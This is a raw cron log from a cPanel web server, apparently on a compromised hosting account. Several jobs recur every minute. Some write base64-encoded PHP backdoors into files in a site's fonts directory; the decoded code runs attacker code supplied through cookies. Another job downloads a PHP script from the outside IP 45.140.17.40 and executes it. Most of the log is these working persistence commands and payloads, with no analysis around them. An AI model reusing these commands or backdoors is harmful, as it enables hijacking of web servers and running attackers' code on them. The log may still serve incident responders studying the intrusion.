Sep  7 08:12:01 ip-184-168-122-23 CROND[22876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:13:02 ip-184-168-122-23 CROND[23050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:13:02 ip-184-168-122-23 CROND[23053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:13:02 ip-184-168-122-23 CROND[23051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:13:02 ip-184-168-122-23 CROND[23052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:14:01 ip-184-168-122-23 CROND[23162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:14:01 ip-184-168-122-23 CROND[23163]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:14:01 ip-184-168-122-23 CROND[23164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:14:01 ip-184-168-122-23 CROND[23165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:14:01 ip-184-168-122-23 CROND[23166]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:15:01 ip-184-168-122-23 CROND[23285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:15:01 ip-184-168-122-23 CROND[23286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:15:01 ip-184-168-122-23 CROND[23289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:15:01 ip-184-168-122-23 CROND[23290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:15:01 ip-184-168-122-23 CROND[23288]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 08:15:01 ip-184-168-122-23 CROND[23287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:15:01 ip-184-168-122-23 CROND[23292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:16:01 ip-184-168-122-23 CROND[23392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:16:01 ip-184-168-122-23 CROND[23393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:16:01 ip-184-168-122-23 CROND[23394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:16:01 ip-184-168-122-23 CROND[23395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:16:01 ip-184-168-122-23 CROND[23396]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 08:16:01 ip-184-168-122-23 CROND[23397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:17:02 ip-184-168-122-23 CROND[23497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:17:02 ip-184-168-122-23 CROND[23498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:17:02 ip-184-168-122-23 CROND[23496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:17:02 ip-184-168-122-23 CROND[23499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:18:01 ip-184-168-122-23 CROND[23652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:18:01 ip-184-168-122-23 CROND[23654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:18:01 ip-184-168-122-23 CROND[23656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:18:01 ip-184-168-122-23 CROND[23657]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:18:01 ip-184-168-122-23 CROND[23660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:19:01 ip-184-168-122-23 CROND[23784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:19:01 ip-184-168-122-23 CROND[23787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:19:01 ip-184-168-122-23 CROND[23786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:19:01 ip-184-168-122-23 CROND[23785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:20:01 ip-184-168-122-23 CROND[23883]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 08:20:01 ip-184-168-122-23 CROND[23887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:20:01 ip-184-168-122-23 CROND[23889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:20:01 ip-184-168-122-23 CROND[23890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:20:01 ip-184-168-122-23 CROND[23892]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:20:01 ip-184-168-122-23 CROND[23894]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 08:20:01 ip-184-168-122-23 CROND[23893]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:20:01 ip-184-168-122-23 CROND[23891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:20:01 ip-184-168-122-23 CROND[23895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:21:01 ip-184-168-122-23 CROND[23997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:21:01 ip-184-168-122-23 CROND[23998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:21:01 ip-184-168-122-23 CROND[24000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:21:01 ip-184-168-122-23 CROND[23999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:22:01 ip-184-168-122-23 CROND[24085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:22:01 ip-184-168-122-23 CROND[24084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:22:01 ip-184-168-122-23 CROND[24086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:22:01 ip-184-168-122-23 CROND[24087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:22:01 ip-184-168-122-23 CROND[24089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:23:01 ip-184-168-122-23 CROND[24191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:23:01 ip-184-168-122-23 CROND[24193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:23:01 ip-184-168-122-23 CROND[24192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:23:01 ip-184-168-122-23 CROND[24194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:24:01 ip-184-168-122-23 CROND[24361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:24:01 ip-184-168-122-23 CROND[24366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:24:01 ip-184-168-122-23 CROND[24363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:24:01 ip-184-168-122-23 CROND[24364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:24:01 ip-184-168-122-23 CROND[24365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
